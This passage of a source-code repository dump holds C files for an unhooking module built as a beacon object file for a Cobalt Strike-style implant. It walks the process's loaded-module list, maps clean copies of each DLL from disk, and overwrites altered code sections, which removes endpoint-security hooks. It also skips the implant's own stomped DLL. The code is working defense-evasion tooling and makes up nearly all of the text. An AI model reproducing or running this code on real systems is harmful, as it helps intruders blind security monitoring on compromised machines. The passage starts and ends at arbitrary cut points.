liCriticalSectionTimeout; 171 | DWORD dwHeapSegmentReserve; 172 | DWORD dwHeapSegmentCommit; 173 | DWORD dwHeapDeCommitTotalFreeThreshold; 174 | DWORD dwHeapDeCommitFreeBlockThreshold; 175 | DWORD dwNumberOfHeaps; 176 | DWORD dwMaximumNumberOfHeaps; 177 | LPVOID lpProcessHeaps; 178 | LPVOID lpGdiSharedHandleTable; 179 | LPVOID lpProcessStarterHelper; 180 | DWORD dwGdiDCAttributeList; 181 | LPVOID lpLoaderLock; 182 | DWORD dwOSMajorVersion; 183 | DWORD dwOSMinorVersion; 184 | WORD wOSBuildNumber; 185 | WORD wOSCSDVersion; 186 | DWORD dwOSPlatformId; 187 | DWORD dwImageSubsystem; 188 | DWORD dwImageSubsystemMajorVersion; 189 | DWORD dwImageSubsystemMinorVersion; 190 | DWORD dwImageProcessAffinityMask; 191 | DWORD dwGdiHandleBuffer[34]; 192 | LPVOID lpPostProcessInitRoutine; 193 | LPVOID lpTlsExpansionBitmap; 194 | DWORD dwTlsExpansionBitmapBits[32]; 195 | DWORD dwSessionId; 196 | ULARGE_INTEGER liAppCompatFlags; 197 | ULARGE_INTEGER liAppCompatFlagsUser; 198 | LPVOID lppShimData; 199 | LPVOID lpAppCompatInfo; 200 | UNICODE_STR usCSDVersion; 201 | LPVOID lpActivationContextData; 202 | LPVOID lpProcessAssemblyStorageMap; 203 | LPVOID lpSystemDefaultActivationContextData; 204 | LPVOID lpSystemAssemblyStorageMap; 205 | DWORD dwMinimumStackCommit; 206 | } _PEB, * _PPEB; 207 | 208 | typedef struct 209 | { 210 | WORD offset:12; 211 | WORD type:4; 212 | } IMAGE_RELOC, *PIMAGE_RELOC; 213 | //===============================================================================================// 214 | #endif 215 | //===============================================================================================// 216 | -------------------------------------------------------------------------------- /src/apisetmap.c: -------------------------------------------------------------------------------- 1 | /************************************************************************************* 2 | * Author: Jeff Tang 3 | * Copyright (c) 2017 Cylance Inc. All rights reserved. * 4 | * * 5 | * Redistribution and use in source and binary forms, with or without modification, * 6 | * are permitted provided that the following conditions are met: * 7 | * * 8 | * 1. Redistributions of source code must retain the above copyright notice, this * 9 | * list of conditions and the following disclaimer. * 10 | * * 11 | * 2. Redistributions in binary form must reproduce the above copyright notice, * 12 | * this list of conditions and the following disclaimer in the documentation and/or * 13 | * other materials provided with the distribution. * 14 | * * 15 | * 3. Neither the name of the copyright holder nor the names of its contributors * 16 | * may be used to endorse or promote products derived from this software without * 17 | * specific prior written permission. * 18 | * * 19 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * 20 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * 21 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * 22 | * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * 23 | * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * 24 | * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * 25 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * 26 | * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * 27 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * 28 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * 29 | * * 30 | *************************************************************************************/ 31 | #include "apisetmap.h" 32 | #include "beacon.h" 33 | #include "unhook.h" 34 | 35 | _PPEB GetProcessEnvironmentBlock() 36 | { 37 | ULONG_PTR pPeb; 38 | #ifdef _WIN64 39 | pPeb = __readgsqword(0x60); 40 | #else 41 | #ifdef WIN_ARM 42 | pPeb = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 43 | #else _WIN32 44 | pPeb = __readfsdword(0x30); 45 | #endif 46 | #endif 47 | return (_PPEB)pPeb; 48 | } 49 | 50 | PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList() 51 | { 52 | return (PLDR_DATA_TABLE_ENTRY)GetProcessEnvironmentBlock()->pLdr->InMemoryOrderModuleList.Flink; 53 | } 54 | 55 | PWCHAR GetRedirectedName(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize) 56 | { 57 | PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap; 58 | pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList; 59 | *stSize = 0; 60 | 61 | if (pApiSetMap->Version == 6) 62 | return GetRedirectedName_V6(wszImportingModule, wszVirtualModule, stSize); 63 | else if (pApiSetMap->Version == 4) 64 | return GetRedirectedName_V4(wszImportingModule, wszVirtualModule, stSize); 65 | else if (pApiSetMap->Version == 2) 66 | return GetRedirectedName_V2(wszImportingModule, wszVirtualModule, stSize); 67 | else 68 | return NULL; 69 | } 70 | 71 | PWCHAR GetRedirectedName_V6(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize) 72 | { 73 | PAPI_SET_NAMESPACE_ARRAY_V6 pApiSetMap; 74 | PAPI_SET_NAMESPACE_ENTRY_V6 pApiEntry; 75 | PAPI_SET_VALUE_ENTRY_V6 pApiValue; 76 | PAPI_SET_VALUE_ENTRY_V6 pApiArray; 77 | DWORD dwEntryCount; 78 | LONG dwSetCount; 79 | PWSTR wsEntry; 80 | PWSTR wsName; 81 | PWSTR wsValue; 82 | 83 | pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V6)GetProcessEnvironmentBlock()->pFreeList; 84 | 85 | // Loop through each entry in the ApiSetMap to find the matching redirected module entry 86 | for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++) 87 | { 88 | pApiEntry = &pApiSetMap->Array[dwEntryCount]; 89 | wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset); 90 | 91 | // Skip this entry if it does not match 92 | if (_wcsnicmp(wsEntry, wszVirtualModule, pApiEntry->NameLength / 2) != 0) 93 | continue; 94 | 95 | pApiArray = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset); 96 | 97 | // Loop through each value entry from the end and find where the importing module matches the ``Name`` entry 98 | // If the ``Name`` entry is empty, it is the default entry @ index = 0 99 | for (dwSetCount = pApiEntry->Count-1; dwSetCount >= 0; dwSetCount--) 100 | { 101 | // pApiValue = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset + (dwSetCount * sizeof(API_SET_VALUE_ENTRY_V6))); 102 | pApiValue = &pApiArray[dwSetCount]; 103 | wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset); 104 | wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset); 105 | 106 | if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0) 107 | { 108 | *stSize = pApiValue->ValueLength / 2; 109 | return wsValue; 110 | } 111 | } 112 | } 113 | return NULL; 114 | } 115 | 116 | 117 | PWCHAR GetRedirectedName_V4(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize) 118 | { 119 | PAPI_SET_NAMESPACE_ARRAY_V4 pApiSetMap; 120 | PAPI_SET_NAMESPACE_ENTRY_V4 pApiEntry; 121 | PAPI_SET_VALUE_ARRAY_V4 pApiArray; 122 | PAPI_SET_VALUE_ENTRY_V4 pApiValue; 123 | DWORD dwEntryCount; 124 | LONG dwSetCount; 125 | PWSTR wsEntry; 126 | PWSTR wsName; 127 | PWSTR wsValue; 128 | PWSTR wszShortVirtualModule; 129 | 130 | pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V4)GetProcessEnvironmentBlock()->pFreeList; 131 | wszShortVirtualModule = (PWSTR)((PWCHAR)wszVirtualModule + 4); 132 | 133 | for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++) 134 | { 135 | pApiEntry = &pApiSetMap->Array[dwEntryCount]; 136 | wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset); 137 | 138 | if (_wcsnicmp(wsEntry, wszShortVirtualModule, pApiEntry->NameLength / 2) != 0) 139 | continue; 140 | 141 | pApiArray = (PAPI_SET_VALUE_ARRAY_V4)((PCHAR)pApiSetMap + pApiEntry->DataOffset); 142 | 143 | for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--) 144 | { 145 | pApiValue = &pApiArray->Array[dwSetCount]; 146 | wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset); 147 | wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset); 148 | 149 | if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0) 150 | { 151 | *stSize = pApiValue->ValueLength / 2; 152 | return wsValue; 153 | } 154 | } 155 | } 156 | return NULL; 157 | } 158 | 159 | PWCHAR GetRedirectedName_V2(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize) 160 | { 161 | PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap; 162 | PAPI_SET_NAMESPACE_ENTRY_V2 pApiEntry; 163 | PAPI_SET_VALUE_ARRAY_V2 pApiArray; 164 | PAPI_SET_VALUE_ENTRY_V2 pApiValue; 165 | DWORD dwEntryCount; 166 | LONG dwSetCount; 167 | PWSTR wsEntry; 168 | PWSTR wsName; 169 | PWSTR wsValue; 170 | PWSTR wszShortVirtualModule; 171 | 172 | pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList; 173 | wszShortVirtualModule = (PWSTR)((PWCHAR)wszVirtualModule + 4); 174 | 175 | for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++) 176 | { 177 | pApiEntry = &pApiSetMap->Array[dwEntryCount]; 178 | wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset); 179 | 180 | if (_wcsnicmp(wsEntry, wszShortVirtualModule, pApiEntry->NameLength / 2) != 0) 181 | continue; 182 | 183 | pApiArray = (PAPI_SET_VALUE_ARRAY_V2)((PCHAR)pApiSetMap + pApiEntry->DataOffset); 184 | 185 | for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--) 186 | { 187 | pApiValue = &pApiArray->Array[dwSetCount]; 188 | wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset); 189 | wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset); 190 | 191 | if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0) 192 | { 193 | *stSize = pApiValue->ValueLength / 2; 194 | return wsValue; 195 | } 196 | } 197 | } 198 | return NULL; 199 | } 200 | -------------------------------------------------------------------------------- /src/refresh.c: -------------------------------------------------------------------------------- 1 | #include "refresh.h" 2 | #include "apisetmap.h" 3 | #include "ReflectiveLoader.h" 4 | #include "unhook.h" 5 | #include "beacon.h" 6 | 7 | BOOL IsBeaconDLL(char* stomp, size_t beaconDllLength, PWSTR wszBaseDllName, USHORT BaseDllLength) 8 | { 9 | BOOL isBeacon = FALSE; 10 | if (beaconDllLength * 2 == BaseDllLength) 11 | { 12 | isBeacon = TRUE; 13 | for (int i = 0; i < beaconDllLength; i++) 14 | { 15 | // make them lower case 16 | char c1 = stomp[i]; 17 | char c2 = wszBaseDllName[i]; 18 | if (c1 >= 'A' && c1 <= 'Z') 19 | c1 += 32; 20 | if (c2 >= 'A' && c2 <= 'Z') 21 | c2 += 32; 22 | if (c1 != c2) 23 | { 24 | isBeacon = FALSE; 25 | break; 26 | } 27 | } 28 | } 29 | return isBeacon; 30 | } 31 | 32 | void RefreshPE(void * buffer, char* stomp) 33 | { 34 | HMODULE hModule; 35 | PWSTR wszFullDllName; 36 | PWSTR wszBaseDllName; 37 | ULONG_PTR pDllBase; 38 | 39 | PLDR_DATA_TABLE_ENTRY pLdteHead = NULL; 40 | PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL; 41 | 42 | size_t beaconDllLength = strlen(stomp); 43 | 44 | dprintf("[REFRESH] Running DLLRefresher"); 45 | 46 | pLdteHead = GetInMemoryOrderModuleList(); 47 | pLdteCurrent = pLdteHead; 48 | 49 | do { 50 | if (pLdteCurrent->FullDllName.Length > 2 && !IsBeaconDLL(stomp, beaconDllLength, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length)) 51 | { 52 | wszFullDllName = pLdteCurrent->FullDllName.pBuffer; 53 | wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer; 54 | pDllBase = (ULONG_PTR)pLdteCurrent->DllBase; 55 | 56 | dprintf("[REFRESH] Refreshing DLL: %S", wszFullDllName); 57 | 58 | hModule = CustomLoadLibrary(wszFullDllName, wszBaseDllName, pDllBase); 59 | 60 | if (hModule) 61 | { 62 | ScanAndFixModule(buffer, (PCHAR)hModule, (PCHAR)pDllBase, wszBaseDllName); 63 | KERNEL32$VirtualFree(hModule, 0, MEM_RELEASE); 64 | } 65 | } 66 | pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink; 67 | } while (pLdteCurrent != pLdteHead); 68 | } 69 | 70 | HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase) 71 | { 72 | // File handles 73 | HANDLE hFile = INVALID_HANDLE_VALUE; 74 | HANDLE hMap = NULL; 75 | PCHAR pFile = NULL; 76 | 77 | // PE headers 78 | PIMAGE_DOS_HEADER pDosHeader; 79 | PIMAGE_NT_HEADERS pNtHeader; 80 | PIMAGE_SECTION_HEADER pSectionHeader; 81 | 82 | // Library 83 | PCHAR pLibraryAddr = NULL; 84 | DWORD dwIdx; 85 | 86 | // Relocation 87 | PIMAGE_DATA_DIRECTORY pDataDir; 88 | PIMAGE_BASE_RELOCATION pBaseReloc; 89 | ULONG_PTR pReloc; 90 | DWORD dwNumRelocs; 91 | ULONG_PTR pInitialImageBase; 92 | PIMAGE_RELOC pImageReloc; 93 | 94 | // Import 95 | PIMAGE_IMPORT_DESCRIPTOR pImportDesc; 96 | PCHAR szDllName; 97 | SIZE_T stDllName; 98 | PWSTR wszDllName = NULL; 99 | PWCHAR wsRedir = NULL; 100 | PWSTR wszRedirName = NULL; 101 | SIZE_T stRedirName; 102 | SIZE_T stSize; 103 | 104 | HMODULE hModule; 105 | PIMAGE_THUNK_DATA pThunkData; 106 | FARPROC* pIatEntry; 107 | 108 | // clr.dll hotpatches itself at runtime for performance reasons, so skip it 109 | if (wcscmp(L"clr.dll", wszBaseDllName) == 0) 110 | goto cleanup; 111 | 112 | dprintf("[REFRESH] Opening file: %S", wszFullDllName); 113 | 114 | // ---- 115 | // Step 1: Map the file into memory 116 | // ---- 117 | 118 | hFile = KERNEL32$CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 119 | if (hFile == INVALID_HANDLE_VALUE) 120 | goto cleanup; 121 | 122 | hMap = KERNEL32$CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL); 123 | if (hMap == NULL) 124 | goto cleanup; 125 | 126 | pFile = (PCHAR)KERNEL32$MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); 127 | if (pFile == NULL) 128 | goto cleanup; 129 | 130 | // ---- 131 | // Step 2: Parse the file headers and load it into memory 132 | // ---- 133 | pDosHeader = (PIMAGE_DOS_HEADER)pFile; 134 | pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew); 135 | 136 | // allocate memory to copy DLL into 137 | dprintf("[REFRESH] Allocating memory for library"); 138 | pLibraryAddr = (PCHAR)KERNEL32$VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 139 | 140 | // copy header 141 | dprintf("[REFRESH] Copying PE header into memory"); 142 | __movsb((PBYTE)pLibraryAddr, (PBYTE)pFile, pNtHeader->OptionalHeader.SizeOfHeaders); 143 | 144 | // copy sections 145 | dprintf("[REFRESH] Copying PE sections into memory"); 146 | pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); 147 | for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++) 148 | { 149 | __movsb((PBYTE)(pLibraryAddr + pSectionHeader[dwIdx].VirtualAddress), 150 | (PBYTE)(pFile + pSectionHeader[dwIdx].PointerToRawData), 151 | pSectionHeader[dwIdx].SizeOfRawData); 152 | } 153 | 154 | // update our pointers to the loaded image 155 | pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr; 156 | pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew); 157 | 158 | // ---- 159 | // Step 3: Calculate relocations 160 | // ---- 161 | dprintf("[REFRESH] Calculating file relocations"); 162 | 163 | pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 164 | pInitialImageBase = pNtHeader->OptionalHeader.ImageBase; 165 | // set the ImageBase to the already loaded module's base 166 | pNtHeader->OptionalHeader.ImageBase = pDllBase; 167 | 168 | // check if their are any relocations present 169 | if (pDataDir->Size) 170 | { 171 | // calculate the address of the first IMAGE_BASE_RELOCATION entry 172 | pBaseReloc = (PIMAGE_BASE_RELOCATION)(pLibraryAddr + pDataDir->VirtualAddress); 173 | 174 | // iterate through each relocation entry 175 | while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock) 176 | { 177 | // the VA for this relocation block 178 | pReloc = (ULONG_PTR)(pLibraryAddr + pBaseReloc->VirtualAddress); 179 | 180 | // number of entries in this relocation block 181 | dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 182 | 183 | // first entry in the current relocation block 184 | pImageReloc = (PIMAGE_RELOC)((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION)); 185 | 186 | // iterate through each entry in the relocation block 187 | while (dwNumRelocs--) 188 | { 189 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 190 | // we subtract the initial ImageBase and add in the original dll base 191 | if (pImageReloc->type == IMAGE_REL_BASED_DIR64) 192 | { 193 | *(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase; 194 | *(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase; 195 | } 196 | else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW) 197 | { 198 | *(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase; 199 | *(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase; 200 | } 201 | else if (pImageReloc->type == IMAGE_REL_BASED_HIGH) 202 | { 203 | *(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase); 204 | *(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase); 205 | } 206 | else if (pImageReloc->type == IMAGE_REL_BASED_LOW) 207 | { 208 | *(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase); 209 | *(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase); 210 | } 211 | 212 | // get the next entry in the current relocation block 213 | pImageReloc = (PIMAGE_RELOC)((PCHAR)pImageReloc + sizeof(IMAGE_RELOC)); 214 | } 215 | 216 | // get the next entry in the relocation directory 217 | pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pBaseReloc + pBaseReloc->SizeOfBlock); 218 | } 219 | } 220 | 221 | // ---- 222 | // Step 4: Update import table 223 | // ---- 224 | dprintf("[REFRESH] Resolving Import Address Table (IAT) "); 225 | 226 | pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 227 | if (pDataDir->Size) 228 | { 229 | pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress); 230 | 231 | while (pImportDesc->Characteristics) 232 | { 233 | hModule = NULL; 234 | wszDllName = NULL; 235 | szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name); 236 | stDllName = strnlen(szDllName, MAX_PATH); 237 | wszDllName = (PWSTR)calloc(stDllName + 1, sizeof(WCHAR)); 238 | 239 | if (wszDllName == NULL) 240 | goto next_import; 241 | 242 | mbstowcs_s(&stSize, wszDllName, stDllName + 1, szDllName, stDllName); 243 | 244 | dprintf("[REFRESH] Loading library: %S from %s", wszDllName, szDllName); 245 | 246 | // If the DLL starts with api- or ext-, resolve the redirected name and load it 247 | if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0) 248 | { 249 | // wsRedir is not null terminated 250 | wsRedir = GetRedirectedName(wszBaseDllName, wszDllName, &stRedirName); 251 | if (wsRedir) 252 | { 253 | // Free the original wszDllName and allocate a new buffer for the redirected dll name 254 | free(wszDllName); 255 | wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR)); 256 | if (wszDllName == NULL) 257 | goto next_import; 258 | 259 | __movsb((PBYTE)wszDllName, (PBYTE)wsRedir, stRedirName * sizeof(WCHAR)); 260 | dprintf("[REFRESH] Redirected library: %S", wszDllName); 261 | } 262 | } 263 | 264 | // Load the module 265 | hModule = CustomGetModuleHandleW(wszDllName); 266 | 267 | // Ignore libraries that fail to load 268 | if (hModule == NULL) 269 | goto next_import; 270 | 271 | if (pImportDesc->OriginalFirstThunk) 272 | pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk); 273 | else 274 | pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk); 275 | 276 | pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk); 277 | 278 | // loop through each thunk and resolve the import 279 | for(; DEREF(pThunkData); pThunkData++, pIatEntry++) 280 | { 281 | if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal)) 282 | *pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), wszDllName); 283 | else 284 | *pIatEntry = CustomGetProcAddressEx(hModule, ((PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData)))->Name, wszDllName); 285 | } 286 | 287 | next_import: 288 | if (wszDllName != NULL) 289 | { 290 | free(wszDllName); 291 | wszDllName = NULL; 292 | } 293 | pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR)); 294 | 295 | } 296 | } 297 | 298 | cleanup: 299 | if (pFile != NULL) 300 | KERNEL32$UnmapViewOfFile(pFile); 301 | if (hMap != NULL) 302 | KERNEL32$CloseHandle(hMap); 303 | if (hFile != INVALID_HANDLE_VALUE) 304 | KERNEL32$CloseHandle(hFile); 305 | 306 | return (HMODULE) pLibraryAddr; 307 | } 308 | 309 | HMODULE CustomGetModuleHandleW(const PWSTR wszModule) 310 | { 311 | HMODULE hModule = NULL; 312 | PLDR_DATA_TABLE_ENTRY pLdteHead = NULL; 313 | PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL; 314 | 315 | dprintf("[REFRESH] Searching for loaded module: %S", wszModule); 316 | 317 | pLdteCurrent = pLdteHead = GetInMemoryOrderModuleList(); 318 | 319 | do { 320 | if (pLdteCurrent->FullDllName.Length > 2 && 321 | _wcsnicmp(wszModule, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length / 2) == 0) 322 | { 323 | return ((HMODULE)pLdteCurrent->DllBase); 324 | } 325 | pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink; 326 | } while (pLdteCurrent != pLdteHead); 327 | 328 | return KERNEL32$LoadLibraryW(wszModule); 329 | } 330 | 331 | VOID ScanAndFixModule(void * buffer, PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName) 332 | { 333 | // PE headers 334 | PIMAGE_DOS_HEADER pDosHeader; 335 | PIMAGE_NT_HEADERS pNtHeader; 336 | PIMAGE_SECTION_HEADER pSectionHeader; 337 | 338 | DWORD dwIdx; 339 | 340 | dprintf("[REFRESH] Scanning module: %S", wszBaseDllName); 341 | 342 | pDosHeader = (PIMAGE_DOS_HEADER)pKnown; 343 | pNtHeader = (PIMAGE_NT_HEADERS)(pKnown + pDosHeader->e_lfanew); 344 | 345 | // Scan PE header 346 | ScanAndFixSection(buffer, wszBaseDllName, "Header", pKnown, pSuspect, pNtHeader->OptionalHeader.SizeOfHeaders); 347 | 348 | // Scan each section 349 | pSectionHeader = (PIMAGE_SECTION_HEADER)(pKnown + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); 350 | for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++) 351 | { 352 | if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE) 353 | continue; 354 | 355 | if (!((wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0))) 356 | { 357 | ScanAndFixSection(buffer, wszBaseDllName, (PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress, 358 | pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize); 359 | } 360 | } 361 | } 362 | 363 | VOID ScanAndFixSection(void * buffer, PWCHAR dll, PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength) 364 | { 365 | DWORD ddOldProtect; 366 | 367 | if (memcmp(pKnown, pSuspect, stLength) != 0) 368 | { 369 | BeaconFormatPrintf((formatp *)buffer, "%-20S <%s>\n", dll, szSectionName); 370 | dprintf("[REFRESH] Found modification in: %s", szSectionName); 371 | 372 | if (!KERNEL32$VirtualProtect(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect)) 373 | return; 374 | 375 | dprintf("[REFRESH] Copying known good section into memory."); 376 | __movsb((PBYTE)pSuspect, (PBYTE)pKnown, stLength); 377 | 378 | if (!KERNEL32$VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect)) 379 | dprintf("[REFRESH] Unable to reset memory permissions"); 380 | } 381 | } 382 | 383 | 384 | // This code is modified from Stephen Fewer's GetProcAddress implementation 385 | //===============================================================================================// 386 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 387 | // All rights reserved. 388 | // 389 | // Redistribution and use in source and binary forms, with or without modification, are permitted 390 | // provided that the following conditions are met: 391 | // 392 | // * Redistributions of source code must retain the above copyright notice, this list of 393 | // conditions and the following disclaimer. 394 | // 395 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 396 | // conditions and the following disclaimer in the documentation and/or other materials provided 397 | // with the distribution. 398 | // 399 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 400 | // endorse or promote products derived from this software without specific prior written permission. 401 | // 402 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 403 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 404 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 405 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 406 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 407 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 408 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 409 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 410 | // POSSIBILITY OF SUCH DAMAGE. 411 | //===============================================================================================// 412 | FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule) 413 | { 414 | UINT_PTR uiLibraryAddress = 0; 415 | UINT_PTR uiAddressArray = 0; 416 | UINT_PTR uiNameArray = 0; 417 | UINT_PTR uiNameOrdinals = 0; 418 | UINT_PTR uiFuncVA = 0; 419 | PCHAR cpExportedFunctionName; 420 | PCHAR szFwdDesc; 421 | PCHAR szRedirFunc; 422 | PWSTR wszDllName; 423 | SIZE_T stDllName; 424 | PWCHAR wsRedir; 425 | PWSTR wszRedirName = NULL; 426 | SIZE_T stRedirName; 427 | 428 | HMODULE hFwdModule; 429 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 430 | PIMAGE_DATA_DIRECTORY pDataDirectory = 